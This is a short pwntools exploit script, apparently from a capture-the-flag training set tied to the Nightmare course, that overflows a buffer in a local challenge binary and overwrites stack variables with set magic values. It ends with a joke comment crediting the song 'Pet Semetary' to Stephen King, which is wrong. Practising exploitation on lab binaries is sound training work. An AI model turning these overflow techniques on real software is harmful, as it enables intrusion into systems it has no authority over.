# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *
import time
import sf

target = process("./chall-test_BofVar-04-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x66)
bof_payload.add_int32(0x34, 0xdead)
bof_payload.add_int32(0x30, 0xbeef)
bof_payload.add_int32(0x2c, 0xfacadf)
bof_payload.add_int32(0x28, 0xbef0)
bof_payload.add_int32(0x24, 0xfacade)
bof_payload.add_int32(0x20, 0xdeac)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Stephen King                           |
# +------------------------------------------------+
# | Song: Pet Semetary                             |
# +------------------------------------------------+
# | Hey-Ho,                                        |
# | Let's go                                       |
# +------------------------------------------------+

